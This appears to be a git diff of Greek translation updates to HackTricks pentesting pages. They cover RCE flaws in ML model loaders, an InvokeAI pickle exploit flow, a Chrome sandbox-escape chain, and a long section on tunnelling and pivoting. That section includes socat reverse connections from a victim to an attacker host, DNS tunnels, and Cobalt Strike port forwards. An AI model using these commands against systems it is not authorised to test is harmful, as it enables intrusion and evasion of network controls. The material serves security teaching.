mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
parent
36e3d6483d
commit
a136b2e3b7
@ -4,24 +4,24 @@
|
||||
|
||||
## Φόρτωση μοντέλων σε RCE
|
||||
|
||||
Τα μοντέλα Μηχανικής Μάθησης συνήθως μοιράζονται σε διάφορες μορφές, όπως ONNX, TensorFlow, PyTorch, κ.λπ. Αυτά τα μοντέλα μπορούν να φορτωθούν σε μηχανές προγραμματιστών ή σε συστήματα παραγωγής για χρήση. Συνήθως, τα μοντέλα δεν θα πρέπει να περιέχουν κακόβουλο κώδικα, αλλά υπάρχουν περιπτώσεις όπου το μοντέλο μπορεί να χρησιμοποιηθεί για την εκτέλεση αυθαίρετου κώδικα στο σύστημα είτε ως προγραμματισμένη δυνατότητα είτε λόγω ευπάθειας στη βιβλιοθήκη φόρτωσης μοντέλων.
|
||||
Τα μοντέλα Μηχανικής Μάθησης συνήθως μοιράζονται σε διάφορες μορφές, όπως ONNX, TensorFlow, PyTorch, κ.λπ. Αυτά τα μοντέλα μπορούν να φορτωθούν σε μηχανές προγραμματιστών ή σε συστήματα παραγωγής για να χρησιμοποιηθούν. Συνήθως, τα μοντέλα δεν θα πρέπει να περιέχουν κακόβουλο κώδικα, αλλά υπάρχουν περιπτώσεις όπου το μοντέλο μπορεί να χρησιμοποιηθεί για την εκτέλεση αυθαίρετου κώδικα στο σύστημα είτε ως προγραμματισμένη δυνατότητα είτε λόγω ευπάθειας στη βιβλιοθήκη φόρτωσης μοντέλων.
|
||||
|
||||
Κατά τη στιγμή της συγγραφής, αυτά είναι μερικά παραδείγματα αυτού του τύπου ευπαθειών:
|
||||
|
||||
| **Framework / Tool** | **Ευπάθεια (CVE αν είναι διαθέσιμη)** | **RCE Vector** | **Αναφορές** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Ανασφαλής αποδοχή δεδομένων στο* `torch.load` **(CVE-2025-32434)** | Κακόβουλο pickle στο checkpoint του μοντέλου οδηγεί σε εκτέλεση κώδικα (παρακάμπτοντας την προστασία `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + κακόβουλη λήψη μοντέλου προκαλεί εκτέλεση κώδικα; RCE αποδοχής δεδομένων Java στο API διαχείρισης | |
|
||||
| **PyTorch** (Python) | *Ανασφαλής αποσυμπίεση στο* `torch.load` **(CVE-2025-32434)** | Κακόβουλο pickle στο checkpoint μοντέλου οδηγεί σε εκτέλεση κώδικα (παρακάμπτοντας την προστασία `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + κακόβουλη λήψη μοντέλου προκαλεί εκτέλεση κώδικα; RCE αποσυμπίεσης Java στο API διαχείρισης | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (μη ασφαλές YAML) <br> **CVE-2024-3660** (Keras Lambda) | Φόρτωση μοντέλου από YAML χρησιμοποιεί `yaml.unsafe_load` (εκτέλεση κώδικα) <br> Φόρτωση μοντέλου με **Lambda** layer εκτελεί αυθαίρετο Python κώδικα | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (ανάλυση TFLite) | Κατασκευασμένο μοντέλο `.tflite` προκαλεί υπερχείλιση ακέραιου → διαφθορά σωρού (πιθανή RCE) | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Κατασκευασμένο μοντέλο `.tflite` προκαλεί υπερχείλιση ακέραιου → διαφθορά σωρού (πιθανή RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Φόρτωση ενός μοντέλου μέσω `joblib.load` εκτελεί pickle με το payload `__reduce__` του επιτιθέμενου | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (μη ασφαλές `np.load`) *αμφισβητούμενο* | Η προεπιλεγμένη επιλογή του `numpy.load` επέτρεπε pickled object arrays – κακόβουλο `.npy/.npz` προκαλεί εκτέλεση κώδικα | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (μη ασφαλές `np.load`) *αμφισβητούμενο* | `numpy.load` προεπιλεγμένα επιτρέπει pickled object arrays – κακόβουλο `.npy/.npz` προκαλεί εκτέλεση κώδικα | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | Η εξωτερική διαδρομή βαρών του μοντέλου ONNX μπορεί να ξεφύγει από τον κατάλογο (ανάγνωση αυθαίρετων αρχείων) <br> Κακόβουλο μοντέλο ONNX tar μπορεί να αντικαταστήσει αυθαίρετα αρχεία (οδηγώντας σε RCE) | |
|
||||
| ONNX Runtime (σχεδιαστικός κίνδυνος) | *(Δεν υπάρχει CVE)* ONNX custom ops / control flow | Μοντέλο με custom operator απαιτεί φόρτωση του native code του επιτιθέμενου; πολύπλοκα γραφήματα μοντέλων εκμεταλλεύονται τη λογική για να εκτελέσουν μη προγραμματισμένους υπολογισμούς | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | Η χρήση του API φόρτωσης μοντέλου με ενεργοποιημένο `--model-control` επιτρέπει σχετική διαδρομή για την εγγραφή αρχείων (π.χ., αντικατάσταση του `.bashrc` για RCE) | |
|
||||
| **GGML (μορφή GGUF)** | **CVE-2024-25664 … 25668** (πολλαπλές υπερχείλιες σωρού) | Κακοσχηματισμένο αρχείο μοντέλου GGUF προκαλεί υπερχείλιση buffer σωρού στον αναλυτή, επιτρέποντας την εκτέλεση αυθαίρετου κώδικα στο σύστημα του θύματος | |
|
||||
| **Keras (παλαιότερες μορφές)** | *(Δεν υπάρχει νέα CVE)* Κληρονομημένο μοντέλο Keras H5 | Κακόβουλο μοντέλο HDF5 (`.h5`) με κώδικα Lambda layer εκτελείται ακόμα κατά τη φόρτωση (η λειτουργία ασφαλείας Keras δεν καλύπτει την παλιά μορφή – “επίθεση υποβάθμισης”) | |
|
||||
| **Άλλα** (γενικά) | *Σφάλμα σχεδίασης* – Σειριοποίηση Pickle | Πολλά εργαλεία ML (π.χ., μορφές μοντέλων βασισμένες σε pickle, Python `pickle.load`) θα εκτελέσουν αυθαίρετο κώδικα ενσωματωμένο σε αρχεία μοντέλων εκτός αν μετριαστούν | |
|
||||
| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | Μοντέλο με προσαρμοσμένο τελεστή απαιτεί φόρτωση του εγχώριου κώδικα του επιτιθέμενου; πολύπλοκα γραφήματα μοντέλου εκμεταλλεύονται τη λογική για να εκτελέσουν μη προγραμματισμένους υπολογισμούς | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | Η χρήση του API φόρτωσης μοντέλου με ενεργοποιημένο `--model-control` επιτρέπει σχετική διαδρομή για την εγγραφή αρχείων (π.χ., αντικατάσταση `.bashrc` για RCE) | |
|
||||
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (πολλαπλές υπερχείλιες σωρού) | Κακώς διαμορφωμένο αρχείο μοντέλου GGUF προκαλεί υπερχείλιση buffer σωρού στον αναλυτή, επιτρέποντας την εκτέλεση αυθαίρετου κώδικα στο σύστημα του θύματος | |
|
||||
| **Keras (παλαιότερες μορφές)** | *(No new CVE)* Legacy Keras H5 model | Κακόβουλο HDF5 (`.h5`) μοντέλο με κώδικα Lambda layer εκτελείται ακόμα κατά τη φόρτωση (η λειτουργία ασφαλείας Keras δεν καλύπτει την παλιά μορφή – “επίθεση υποβάθμισης”) | |
|
||||
| **Άλλα** (γενικά) | *Σχεδιαστικό σφάλμα* – Αποθήκευση Pickle | Πολλά εργαλεία ML (π.χ., μορφές μοντέλων βασισμένες σε pickle, Python `pickle.load`) θα εκτελέσουν αυθαίρετο κώδικα που είναι ενσωματωμένος σε αρχεία μοντέλων εκτός αν μετριαστούν | |
|
||||
|
||||
Επιπλέον, υπάρχουν κάποια μοντέλα βασισμένα σε python pickle, όπως αυτά που χρησιμοποιούνται από [PyTorch](https://github.com/pytorch/pytorch/security), που μπορούν να χρησιμοποιηθούν για την εκτέλεση αυθαίρετου κώδικα στο σύστημα αν δεν φορτωθούν με `weights_only=True`. Έτσι, οποιοδήποτε μοντέλο βασισμένο σε pickle μπορεί να είναι ιδιαίτερα ευάλωτο σε αυτού του τύπου επιθέσεις, ακόμη και αν δεν αναφέρονται στον πίνακα παραπάνω.
|
||||
|
||||
@ -33,9 +33,9 @@
|
||||
```python
|
||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
Όταν το παρεχόμενο αρχείο είναι ένα **PyTorch checkpoint (`*.ckpt`)**, το `torch.load` εκτελεί μια **αποσυμπίεση pickle**. Επειδή το περιεχόμενο προέρχεται απευθείας από τη διεύθυνση URL που ελέγχεται από τον χρήστη, ένας επιτιθέμενος μπορεί να ενσωματώσει ένα κακόβουλο αντικείμενο με μια προσαρμοσμένη μέθοδο `__reduce__` μέσα στο checkpoint; η μέθοδος εκτελείται **κατά τη διάρκεια της αποσυμπίεσης**, οδηγώντας σε **απομακρυσμένη εκτέλεση κώδικα (RCE)** στον διακομιστή InvokeAI.
|
||||
Όταν το παρεχόμενο αρχείο είναι ένα **PyTorch checkpoint (`*.ckpt`)**, το `torch.load` εκτελεί μια **αποσυμπίεση pickle**. Επειδή το περιεχόμενο προέρχεται απευθείας από τη διεύθυνση URL που ελέγχεται από τον χρήστη, ένας επιτιθέμενος μπορεί να ενσωματώσει ένα κακόβουλο αντικείμενο με μια προσαρμοσμένη μέθοδο `__reduce__` μέσα στο checkpoint; η μέθοδος εκτελείται **κατά τη διάρκεια της αποσυμπίεσης**, οδηγώντας σε **remote code execution (RCE)** στον διακομιστή InvokeAI.
|
||||
|
||||
Η ευπάθεια έχει ανατεθεί **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
|
||||
Η ευπάθεια αποδόθηκε ως **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
|
||||
|
||||
#### Διαδικασία εκμετάλλευσης
|
||||
|
||||
@ -67,7 +67,7 @@ json={}, # body can be empty
|
||||
timeout=5,
|
||||
)
|
||||
```
|
||||
4. Όταν το InvokeAI κατεβάζει το αρχείο καλεί το `torch.load()` → η συσκευή `os.system` εκτελείται και ο επιτιθέμενος αποκτά εκτέλεση κώδικα στο πλαίσιο της διαδικασίας InvokeAI.
|
||||
4. Όταν το InvokeAI κατεβάζει το αρχείο καλεί το `torch.load()` → το gadget `os.system` εκτελείται και ο επιτιθέμενος αποκτά εκτέλεση κώδικα στο πλαίσιο της διαδικασίας InvokeAI.
|
||||
|
||||
Έτοιμο exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` αυτοματοποιεί όλη τη ροή.
|
||||
|
||||
@ -80,7 +80,7 @@ timeout=5,
|
||||
#### Μετριασμοί
|
||||
|
||||
* Αναβάθμιση σε **InvokeAI ≥ 5.4.3** – το patch ορίζει `scan=True` ως προεπιλογή και εκτελεί σάρωση κακόβουλου λογισμικού πριν από την αποσειριοποίηση.
|
||||
* Όταν φορτώνετε σημεία ελέγχου προγραμματισμένα, χρησιμοποιήστε `torch.load(file, weights_only=True)` ή τον νέο [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) βοηθό.
|
||||
* Όταν φορτώνετε checkpoints προγραμματισμένα χρησιμοποιήστε `torch.load(file, weights_only=True)` ή τον νέο [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) βοηθό.
|
||||
* Επιβάλλετε λίστες επιτρεπόμενων / υπογραφές για πηγές μοντέλων και εκτελέστε την υπηρεσία με ελάχιστα δικαιώματα.
|
||||
|
||||
> ⚠️ Θυμηθείτε ότι **οποιαδήποτε** μορφή βασισμένη σε Python pickle (συμπεριλαμβανομένων πολλών αρχείων `.pt`, `.pkl`, `.ckpt`, `.pth`) είναι εγγενώς ανασφαλής για αποσειριοποίηση από μη αξιόπιστες πηγές.
|
||||
|
||||
@ -31,12 +31,12 @@ Layered defence-in-depth:
|
||||
|
||||
* **V8 sandbox** (Isolate): οι άδειες μνήμης περιορίζονται για να αποτραπεί η αυθαίρετη ανάγνωση/εγγραφή από JITed JS / Wasm.
|
||||
* **Renderer ↔ Browser split** διασφαλίζεται μέσω **Mojo/IPC** μεταφοράς μηνυμάτων; ο renderer έχει *κανέναν* εγγενή FS/δικτύου πρόσβαση.
|
||||
* **OS sandboxes** περιέχουν περαιτέρω κάθε διαδικασία (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles).
|
||||
* **OS sandboxes** περιορίζουν περαιτέρω κάθε διαδικασία (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles).
|
||||
|
||||
Ένας *απομακρυσμένος* επιτιθέμενος χρειάζεται **τρεις** διαδοχικές πρωτογενείς:
|
||||
|
||||
1. Διαφθορά μνήμης μέσα στο V8 για να αποκτήσει **αυθαίρετη RW μέσα στο σωρό V8**.
|
||||
2. Ένα δεύτερο σφάλμα που επιτρέπει στον επιτιθέμενο να **ξεφύγει από το V8 sandbox στη μνήμη του πλήρους renderer**.
|
||||
2. Ένα δεύτερο σφάλμα που επιτρέπει στον επιτιθέμενο να **ξεφύγει από το V8 sandbox σε πλήρη μνήμη renderer**.
|
||||
3. Μια τελική διαφυγή από το sandbox (συχνά λογική παρά διαφθορά μνήμης) για να εκτελέσει κώδικα **έξω από το Chrome OS sandbox**.
|
||||
|
||||
---
|
||||
@ -84,7 +84,7 @@ Outcome: **αρbitrary read/write within V8**.
|
||||
|
||||
## 3. Stage 2 – Διαφυγή από το V8 Sandbox (issue 379140430)
|
||||
|
||||
Όταν μια λειτουργία Wasm είναι tier-up-compiled, δημιουργείται ένα **JS ↔ Wasm wrapper**. Ένα σφάλμα ασυμβατότητας υπογραφής προκαλεί το wrapper να γράψει πέρα από το τέλος ενός αξιόπιστου **`Tuple2`** αντικειμένου όταν η λειτουργία Wasm είναι ξανά βελτιστοποιημένη *ενώ είναι ακόμα στη στοίβα*.
|
||||
Όταν μια λειτουργία Wasm είναι tier-up-compiled, δημιουργείται ένα **JS ↔ Wasm wrapper**. Ένα σφάλμα ασυμβατότητας υπογραφής προκαλεί το wrapper να γράφει πέρα από το τέλος ενός αξιόπιστου **`Tuple2`** αντικειμένου όταν η λειτουργία Wasm είναι ξανά βελτιστοποιημένη *ενώ είναι ακόμα στη στοίβα*.
|
||||
|
||||
Η επαναγραφή των 2 × 64-bit πεδίων του αντικειμένου `Tuple2` αποφέρει **read/write σε οποιαδήποτε διεύθυνση μέσα στη διαδικασία Renderer**, παρακάμπτοντας αποτελεσματικά το V8 sandbox.
|
||||
|
||||
@ -124,7 +124,7 @@ mime_type: "application/x-msdownload"
|
||||
}
|
||||
});
|
||||
```
|
||||
Δεν είναι απαραίτητη επιπλέον διαφθορά μνήμης – η **λογική αστοχία** μας δίνει εκτέλεση αρχείων κατά βούληση με τα δικαιώματα του χρήστη.
|
||||
Δεν απαιτείται επιπλέον διαφθορά μνήμης – η **λογική αστοχία** μας δίνει εκτέλεση αρχείων κατά βούληση με τα δικαιώματα του χρήστη.
|
||||
|
||||
---
|
||||
|
||||
@ -160,7 +160,7 @@ chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-nativ
|
||||
|
||||
* **WebAssembly JIT σφάλματα** παραμένουν μια αξιόπιστη είσοδος – το σύστημα τύπων είναι ακόμα νέο.
|
||||
* Η απόκτηση ενός δεύτερου σφάλματος διαφθοράς μνήμης μέσα στο V8 (π.χ. ασυμφωνία περιτυλίγματος) απλοποιεί σημαντικά την **διαφυγή από το V8-sandbox**.
|
||||
* Αδυναμίες σε λογικό επίπεδο στις προνομιακές διεπαφές Mojo IPC είναι συχνά αρκετές για μια **τελική διαφυγή από το sandbox** – παρακολουθήστε τα *μη-μνημονιακά* σφάλματα.
|
||||
* Αδυναμίες σε λογικό επίπεδο στις προνομιακές διεπαφές Mojo IPC είναι συχνά αρκετές για μια **τελική διαφυγή από το sandbox** – προσέξτε τα *μη-μνημονιακά* σφάλματα.
|
||||
|
||||
## Αναφορές
|
||||
* [101 Chrome Exploitation — Part 0 (Πρόλογος)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
|
||||
|
||||
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
Χρειάζεστε **root και στις δύο συσκευές** (καθώς πρόκειται να δημιουργήσετε νέες διεπαφές) και η ρύθμιση sshd πρέπει να επιτρέπει την είσοδο root:\
|
||||
Χρειάζεστε **root και στις δύο συσκευές** (καθώς πρόκειται να δημιουργήσετε νέες διεπαφές) και η ρύθμιση sshd πρέπει να επιτρέπει την είσοδο του root:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Ασφάλεια – Επίθεση Terrapin (CVE-2023-48795)**
|
||||
> Η επίθεση υποβάθμισης Terrapin του 2023 μπορεί να επιτρέψει σε έναν επιτιθέμενο man-in-the-middle να παραποιήσει το αρχικό handshake SSH και να εισάγει δεδομένα σε **οποιοδήποτε προωθημένο κανάλι** ( `-L`, `-R`, `-D` ). Βεβαιωθείτε ότι τόσο ο πελάτης όσο και ο διακομιστής είναι ενημερωμένοι (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ή απενεργοποιήστε ρητά τους ευάλωτους αλγόριθμους `chacha20-poly1305@openssh.com` και `*-etm@openssh.com` στο `sshd_config`/`ssh_config` πριν βασιστείτε σε SSH tunnels.
|
||||
> Η επίθεση υποβάθμισης Terrapin του 2023 μπορεί να επιτρέψει σε έναν επιτιθέμενο man-in-the-middle να παραποιήσει την πρώιμη διαδικασία handshake του SSH και να εισάγει δεδομένα σε **οποιοδήποτε προωθημένο κανάλι** ( `-L`, `-R`, `-D` ). Βεβαιωθείτε ότι τόσο ο πελάτης όσο και ο διακομιστής είναι ενημερωμένοι (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ή απενεργοποιήστε ρητά τους ευάλωτους αλγόριθμους `chacha20-poly1305@openssh.com` και `*-etm@openssh.com` στο `sshd_config`/`ssh_config` πριν βασιστείτε σε SSH tunnels.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
@ -156,14 +156,14 @@ rportfwd stop [bind port]
|
||||
```
|
||||
Για σημείωση:
|
||||
|
||||
- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση με τον Team Server, όχι για τη διαμεσολάβηση μεταξύ μεμονωμένων μηχανών**.
|
||||
- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση στον Server Ομάδας, όχι για τη διαμεσολάβηση μεταξύ μεμονωμένων μηχανών**.
|
||||
- Η κίνηση είναι **συνδεδεμένη μέσα στην κίνηση C2 του Beacon**, συμπεριλαμβανομένων των P2P συνδέσεων.
|
||||
- **Δικαιώματα διαχειριστή δεν απαιτούνται** για τη δημιουργία αντίστροφων προωθήσεων θύρας σε υψηλές θύρες.
|
||||
|
||||
### rPort2Port τοπικά
|
||||
|
||||
> [!WARNING]
|
||||
> Σε αυτή την περίπτωση, η **θύρα ανοίγεται στον υπολογιστή beacon**, όχι στον Team Server και η **κίνηση αποστέλλεται στον πελάτη Cobalt Strike** (όχι στον Team Server) και από εκεί στον καθορισμένο υπολογιστή:θύρα
|
||||
> Σε αυτή την περίπτωση, η **θύρα ανοίγεται στον υπολογιστή beacon**, όχι στον Server Ομάδας και η **κίνηση αποστέλλεται στον πελάτη Cobalt Strike** (όχι στον Server Ομάδας) και από εκεί στον καθορισμένο υπολογιστή:θύρα
|
||||
```bash
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
@ -179,7 +179,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||
## Chisel
|
||||
|
||||
Μπορείτε να το κατεβάσετε από τη σελίδα εκδόσεων του [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Πρέπει να χρησιμοποιήσετε την **ίδια έκδοση για πελάτη και διακομιστή**
|
||||
Πρέπει να χρησιμοποιήσετε την **ίδια έκδοση για τον πελάτη και τον διακομιστή**
|
||||
|
||||
### socks
|
||||
```bash
|
||||
@ -298,7 +298,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
||||
|
||||
### SSL Socat Tunnel
|
||||
|
||||
**/bin/sh κονσόλα**
|
||||
**/bin/sh console**
|
||||
|
||||
Δημιουργήστε πιστοποιητικά και στις δύο πλευρές: Πελάτης και Διακομιστής
|
||||
```bash
|
||||
@ -316,7 +316,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
|
||||
```
|
||||
### Remote Port2Port
|
||||
|
||||
Συνδέστε την τοπική θύρα SSH (22) με την θύρα 443 του επιτιθέμενου υπολογιστή
|
||||
Συνδέστε την τοπική θύρα SSH (22) με την θύρα 443 του επιτιθέμενου.
|
||||
```bash
|
||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||
@ -350,15 +350,15 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
Πρέπει να έχετε **RDP πρόσβαση στο σύστημα**.\
|
||||
Κατεβάστε:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **την τούνελινγκ πακέτων μέσω της σύνδεσης RDP**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **tunneling πακέτων μέσω της σύνδεσης RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Στον υπολογιστή-πελάτη σας φορτώστε **`SocksOverRDP-Plugin.dll`** όπως αυτό:
|
||||
Στον υπολογιστή-πελάτη σας, φορτώστε **`SocksOverRDP-Plugin.dll`** όπως αυτό:
|
||||
```bash
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Τώρα μπορούμε να **συνδεθούμε** με το **θύμα** μέσω **RDP** χρησιμοποιώντας **`mstsc.exe`**, και θα πρέπει να λάβουμε μια **ειδοποίηση** που λέει ότι το **SocksOverRDP plugin είναι ενεργοποιημένο**, και θα **ακούει** στη διεύθυνση **127.0.0.1:1080**.
|
||||
Τώρα μπορούμε να **συνδεθούμε** με το **θύμα** μέσω **RDP** χρησιμοποιώντας **`mstsc.exe`**, και θα πρέπει να λάβουμε μια **προτροπή** που λέει ότι το **SocksOverRDP plugin είναι ενεργοποιημένο**, και θα **ακούει** στη διεύθυνση **127.0.0.1:1080**.
|
||||
|
||||
**Συνδεθείτε** μέσω **RDP** και ανεβάστε & εκτελέστε στο μηχάνημα του θύματος το δυαδικό αρχείο `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
@ -368,13 +368,13 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Τώρα μπορείτε να χρησιμοποιήσετε [**Proxifier**](https://www.proxifier.com/) **για να προξενήσετε την κίνηση μέσω αυτού του θύρας.**
|
||||
Τώρα μπορείτε να χρησιμοποιήσετε [**Proxifier**](https://www.proxifier.com/) **για να προξενήσετε την κίνηση μέσω αυτού του πόρου.**
|
||||
|
||||
## Προξενήστε εφαρμογές Windows GUI
|
||||
|
||||
Μπορείτε να κάνετε τις εφαρμογές Windows GUI να περιηγούνται μέσω ενός proxy χρησιμοποιώντας [**Proxifier**](https://www.proxifier.com/).\
|
||||
Στο **Profile -> Proxy Servers** προσθέστε τη διεύθυνση IP και τη θύρα του διακομιστή SOCKS.\
|
||||
Στο **Profile -> Proxification Rules** προσθέστε το όνομα του προγράμματος που θέλετε να προξενήσετε και τις συνδέσεις στις διευθύνσεις IP που θέλετε να προξενήσετε.
|
||||
Στο **Profile -> Proxy Servers** προσθέστε τη διεύθυνση IP και τον πόρο του διακομιστή SOCKS.\
|
||||
Στο **Profile -> Proxification Rules** προσθέστε το όνομα του προγράμματος που θέλετε να προξενήσετε και τις συνδέσεις προς τις διευθύνσεις IP που θέλετε να προξενήσετε.
|
||||
|
||||
## Παράκαμψη proxy NTLM
|
||||
|
||||
@ -396,8 +396,8 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Τώρα, αν ρυθμίσετε για παράδειγμα στην θύρα του θύματος την υπηρεσία **SSH** να ακούει στην θύρα 443. Μπορείτε να συνδεθείτε σε αυτήν μέσω της θύρας του επιτιθέμενου 2222.\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην θύρα 2222.
|
||||
Τώρα, αν ρυθμίσετε για παράδειγμα στον θύμα την υπηρεσία **SSH** να ακούει στην πόρτα 443. Μπορείτε να συνδεθείτε σε αυτήν μέσω της θύρας 2222 του επιτιθέμενου.\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην πόρτα 2222.
|
||||
|
||||
## YARP
|
||||
|
||||
@ -409,7 +409,7 @@ Tunnel 2222:<attackers_machine>:443
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας DNS ερωτήματα.
|
||||
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας ερωτήματα DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -502,7 +502,7 @@ chmod a+x ./ngrok
|
||||
|
||||
_Είναι επίσης δυνατή η προσθήκη αυθεντικοποίησης και TLS, αν είναι απαραίτητο._
|
||||
|
||||
#### Τούνελινγκ TCP
|
||||
#### Tunneling TCP
|
||||
```bash
|
||||
# Pointing to 0.0.0.0:4444
|
||||
./ngrok tcp 4444
|
||||
@ -549,7 +549,7 @@ addr: file:///tmp/httpbin/
|
||||
|
||||
Ο δαίμονας `cloudflared` της Cloudflare μπορεί να δημιουργήσει εξερχόμενους τόνους που εκθέτουν **τοπικές υπηρεσίες TCP/UDP** χωρίς να απαιτούν κανόνες εισερχόμενου τείχους προστασίας, χρησιμοποιώντας την άκρη της Cloudflare ως σημείο συνάντησης. Αυτό είναι πολύ χρήσιμο όταν το εξερχόμενο τείχος προστασίας επιτρέπει μόνο την κυκλοφορία HTTPS αλλά οι εισερχόμενες συνδέσεις είναι αποκλεισμένες.
|
||||
|
||||
### Γρήγορος τόνος σε μία γραμμή
|
||||
### Quick tunnel one-liner
|
||||
```bash
|
||||
# Expose a local web service listening on 8080
|
||||
cloudflared tunnel --url http://localhost:8080
|
||||
@ -574,11 +574,11 @@ url: http://127.0.0.1:8000
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Γιατί όλη η κίνηση φεύγει από τον υπολογιστή **outbound over 443**, οι σήραγγες Cloudflared είναι ένας απλός τρόπος για να παρακάμψετε τα ingress ACLs ή τα NAT boundaries. Να είστε προσεκτικοί ότι το δυαδικό αρχείο συνήθως εκτελείται με αυξημένα δικαιώματα – χρησιμοποιήστε κοντέινερ ή την επιλογή `--user` όταν είναι δυνατόν.
|
||||
Επειδή όλη η κίνηση φεύγει από τον υπολογιστή **outbound over 443**, οι σήραγγες Cloudflared είναι ένας απλός τρόπος για να παρακάμψετε τα ingress ACLs ή τα NAT boundaries. Να είστε προσεκτικοί ότι το δυαδικό αρχείο συνήθως εκτελείται με αυξημένα δικαιώματα – χρησιμοποιήστε κοντέινερ ή την επιλογή `--user` όταν είναι δυνατόν.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
